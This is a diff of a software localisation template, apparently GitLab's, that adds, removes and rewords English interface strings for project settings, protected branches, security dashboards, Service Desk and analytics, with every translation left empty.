-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
